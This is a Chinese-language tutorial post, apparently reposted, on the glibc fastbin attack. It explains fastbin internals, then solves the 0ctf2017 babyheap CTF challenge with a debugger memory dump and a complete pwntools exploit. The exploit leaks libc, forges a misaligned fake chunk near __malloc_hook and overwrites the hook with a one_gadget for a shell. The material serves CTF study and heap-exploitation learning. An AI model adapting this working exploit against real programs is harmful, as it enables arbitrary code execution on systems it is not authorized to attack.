堆溢出学习之fastbin attack

来源:互联网 发布:象过河软件客服 编辑:程序博客网 时间:2024/06/08 00:31

0x01 基础知识

fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

+---------|---------+|prev_size|  size   ||---------|---------||   fd    |   bk    ||---------|---------||       data        |+---------|---------+

fastbin为单链表,,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。

0x02 利用方法

  1. 分配两个fastbin
  2. 利用堆溢出能够覆盖位于高地址的fd指针
  3. 构造伪chunk结构
  4. 进行分配达到任意地址写的目的
#define fastbin_index(sz) \  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)...if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))  {    errstr = "malloc(): memory corruption (fast)";

因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack

0x03 实例

0ctf2017 babyheap

利用

  1. 泄露libc库,该手法本文不多做介绍
  2. fastbin attack劫持程序流
1.malloc fastbin12.malloc fastbin23.free fastbin24.通过堆溢出修改fastbin2的fd指针5.重新malloc fastbin2覆盖malloc_hook6.修改hook指向one_gadget

需要注意的是libc在fastbin size还有一个检测,这个检测是:如果分配出来的chunk的size不属于这个fastbin,那么会出现memory corruption(fast) 的错误。
我们此处就是利用错位构造了伪chunk实例fastbin attack

gef➤  x/10x 0x7f3874b5fb10-0x200x7f3874b5faf0 <_IO_wide_data_0+304>:   0x00007f3874b5e260  0x00000000000000000x7f3874b5fb00 <__memalign_hook>:   0x00007f3874820e20  0x00007f3874820a000x7f3874b5fb10 <__malloc_hook>: 0x0000000000000000  0x00000000000000000x7f3874b5fb20 <main_arena>:    0x0000000000000000  0x00000000000000000x7f3874b5fb30 <main_arena+16>: 0x0000000000000000  0x0000000000000000

可以发现__memalign_hook的地址的第三个字节为0x7f,那么我们就可以利用错位来构造伪chunk,将fastbin2的fd指向malloc_hook-24-3-8

EXP

#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *context(log_level='debug')p = process('./babyheap')libc = ELF('./libc.so.6')def allocate(size):    p.recvuntil('Command: ')    p.sendline('1')    p.recvuntil('ize: ')    p.sendline(str(size))def fill(index,size,content):    p.recvuntil('Command: ')    p.sendline('2')    p.recvuntil('Index: ')    p.sendline(str(index))    p.recvuntil('Size:')    p.sendline(str(size))    p.recvuntil('Content:')    p.send(content)def free(index):    p.recvuntil('Command: ')    p.sendline('3')    p.recvuntil('Index: ')    p.sendline(str(index))def dump(index):    p.recvuntil('Command: ')    p.sendline('4')    p.recvuntil('Index: ')    p.sendline(str(index))    p.recvuntil('Content: ')    data = p.recvuntil('1. Allocate')[:-(1+len('1. Allocate'))]    return data def launch_gdb():    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']    gdb.attach(proc.pidof(p)[0])def pwn():    allocate(0x60)#0    #leak libc    allocate(0x40)#1    payload1 = 'a'*0x60 +  p64(0) + p64(0x71)    fill(0, len(payload1),payload1)    allocate(0x100)#2    #launch_gdb()    payload2 = 'b'*0x10 + p64(0) + p64(0x71)    fill(2, len(payload2), payload2)    free(1)  #free chunk1    payload3 = 'a' *0x40 + p64(0) + p64(0x111)    allocate(0x60)  #1    fill(1,len(payload3),payload3)    allocate(0x50)     free(2)# free chun2    #launch_gdb()    data = u64(dump(1)[-8:])    print hex(data)    bin_offset = 0x3c4b78    libc_base = data - bin_offset    #system_offset = 0x45390    #system_addr = libc_base + system_offset    #print hex(system_addr)    one_gadget = 0x4526a    malloc_hook = libc.symbols['__malloc_hook'] + libc_base    free(1)    payload4 = 'a'*0x60+ p64(0) + p64(0x71) + p64(malloc_hook-27-0x8) +p64(0)    fill(0, len(payload4), payload4)    launch_gdb()    allocate(0x60)    allocate(0x60)    #allocate(0x30)    payload = 'a'*19 + p64(libc_base + one_gadget)    fill(2, len(payload), payload)    allocate(0x20)    #    p.interactive()if __name__ == '__main__':    pwn()
原创粉丝点击